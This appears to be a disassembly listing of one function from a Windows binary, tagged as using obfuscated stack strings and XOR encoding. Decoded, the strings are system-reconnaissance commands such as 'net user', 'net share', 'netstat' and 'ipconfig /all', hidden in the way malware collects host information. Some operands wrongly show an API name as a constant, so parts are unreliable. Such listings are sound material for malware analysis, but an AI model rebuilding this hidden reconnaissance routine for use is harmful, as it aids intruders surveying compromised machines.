Function at 0x140009150
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rbx, rcx
lea rcx, [rbp + 0x6f]
call fcn.140008528
mov rdx, rax
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp - 0x39]
call fcn.140008ce8
mov r13d, SafeArrayGetElement
mov dword [rbp + 0x6f], 0x7e0070
mov dword [rbp + 0x73], 0x130077
lea r15d, [r13 - 0xb]
mov ecx, r15d
call fcn.14000257c
lea r8, [rbp + 0x6f]
mov rdx, rax
sub r8, rax
lea r9d, [r13 - 0xf]
lea r12d, [r13 - 0x12]
movzx ecx, word [r8 + rdx]
xor cx, r13w
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, r12
jne 0x1400091c5
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008700
test eax, eax
je 0x140009ad2
lea rcx, [rbp - 0x39]
mov dword [rbp + 0x2b], 0x3a980
call fcn.140008c44
test al, al
je 0x140009ad2
lea rcx, [rbp + 0x6f]
call fcn.140008200
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
lea r14, [0x140014430]
mov rcx, rbx
mov rdx, r14
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140007f04
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140007e60
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140008480
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.1400083f0
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140007f9c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.1400085a4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140007b04
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140007d00
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.14000829c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140007c40
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140008344
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140008158
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp + 0x6f]
call fcn.140008070
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
movdqa xmm0, xmmword [0x140014b60]
mov esi, SafeArrayGetElement
mov ecx, esi
mov dword [rbp - 0x49], 0x607d776a
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x45], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, esi
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x14000949b
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
mov edi, 0xc
mov dword [rbp - 0x59], 0x67667c61
mov ecx, edi
mov dword [rbp - 0x55], 0x61633376
mov dword [rbp - 0x51], 0x13677d7a
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x1400094f9
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
movdqa xmm0, xmmword [0x140014a40]
mov edi, 0x1a
mov ecx, edi
mov dword [rbp - 0x49], 0x33647c7b
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x45], 0x67726760
mov word [rbp - 0x41], 0x1376
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009563
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r14
mov rcx, rbx
call fcn.140001970
lea r14d, [rdi + 0xb]
mov dword [rbp - 0x59], 0x67606a60
mov ecx, r14d
mov dword [rbp - 0x55], 0x7d7a7e76
mov word [rbp - 0x51], 0x7c75
mov byte [rbp - 0x4f], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, r14d
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x1400095c7
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
lea rdx, [0x140014430]
mov rcx, rbx
call fcn.140001970
movdqa xmm0, xmmword [0x140014920]
mov edi, SafeArrayGetElement
mov ecx, edi
mov dword [rbp - 0x49], 0x13656070
movdqu xmmword [rbp - 0x59], xmm0
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009628
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
lea rdi, [0x140014430]
mov rcx, rbx
mov rdx, rdi
call fcn.140001970
movdqa xmm0, xmmword [0x140014cd0]
mov rcx, rsi
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x7d7a727e
mov byte [rbp - 0x45], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rsi, r12
jne 0x14000968c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, rdi
mov rcx, rbx
call fcn.140001970
mov esi, 0xa
mov dword [rbp - 0x59], 0x3367767d
mov ecx, esi
mov dword [rbp - 0x55], 0x61727b60
mov word [rbp - 0x51], 0x1376
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, esi
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x1400096ec
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, rdi
mov rcx, rbx
call fcn.140001970
mov edi, 9
mov dword [rbp - 0x59], 0x3367767d
mov ecx, edi
mov dword [rbp - 0x55], 0x61766066
mov byte [rbp - 0x51], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009747
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
lea rdx, [0x140014430]
mov rcx, rbx
call fcn.140001970
movdqa xmm0, xmmword [0x140014d10]
mov edi, 0x11
mov ecx, edi
mov byte [rbp - 0x49], r13b
movdqu xmmword [rbp - 0x59], xmm0
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x1400097a5
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
lea rdx, [0x140014430]
mov rcx, rbx
call fcn.140001970
mov rcx, r15
mov dword [rbp + 0x6f], 0x3367767d
mov dword [rbp + 0x73], 0x13766066
call fcn.14000257c
lea r8, [rbp + 0x6f]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r15, r12
jne 0x1400097fc
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
lea r15, [0x140014430]
mov rcx, rbx
mov rdx, r15
call fcn.140001970
mov rcx, rsi
mov dword [rbp - 0x59], 0x3367767d
mov dword [rbp - 0x55], 0x667c6174
mov word [rbp - 0x51], 0x1363
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9, rsi
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r9, r12
jne 0x14000985f
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r15
mov rcx, rbx
call fcn.140001970
mov edi, 0xf
mov dword [rbp - 0x59], 0x3367767d
mov ecx, edi
mov dword [rbp - 0x55], 0x72707c7f
mov dword [rbp - 0x51], 0x7c61747f
mov word [rbp - 0x4d], 0x6366
mov byte [rbp - 0x4b], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x1400098c7
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r15
mov rcx, rbx
call fcn.140001970
mov rcx, r14
mov dword [rbp - 0x59], 0x6067767d
mov dword [rbp - 0x55], 0x33677267
mov word [rbp - 0x51], 0x613e
mov byte [rbp - 0x4f], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub r14, r12
jne 0x140009924
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r15
mov rcx, rbx
call fcn.140001970
lea edi, [r14 + 0xd]
mov dword [rbp - 0x59], 0x6067767d
mov ecx, edi
mov dword [rbp - 0x55], 0x33677267
mov dword [rbp - 0x51], 0x7c727d3e
mov byte [rbp - 0x4d], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009985
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r15
mov rcx, rbx
call fcn.140001970
movdqa xmm0, xmmword [0x140014910]
mov edi, 0x19
mov ecx, edi
mov dword [rbp - 0x49], 0x337c753c
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x45], 0x47405a5f
mov byte [rbp - 0x41], r13b
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x1400099ed
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r15
mov rcx, rbx
call fcn.140001970
mov rcx, rsi
mov dword [rbp - 0x59], 0x3367767d
mov dword [rbp - 0x55], 0x61726760
mov word [rbp - 0x51], 0x1367
call fcn.14000257c
lea r9, [rbp - 0x59]
mov r8, rax
sub r9, rax
mov cl, byte [r9 + r8]
xor cl, r13b
mov byte [r8], cl
add r8, r12
sub rsi, r12
jne 0x140009a46
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
mov rdx, r15
mov rcx, rbx
call fcn.140001970
lea edi, [rsi + 0xe]
mov dword [rbp - 0x59], 0x7c70637a
mov ecx, edi
mov dword [rbp - 0x55], 0x747a757d
mov dword [rbp - 0x51], 0x7f723c33
mov word [rbp - 0x4d], 0x137f
call fcn.14000257c
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x140009aa5
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.140008e80
test al, al
je 0x140009ad2
lea rcx, [rbp - 0x39]
call fcn.140008b10
lea rcx, [rbp - 0x39]
call fcn.140008cc8
lea rdx, [0x1400146b0]
mov rcx, rbx
call fcn.140001970
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret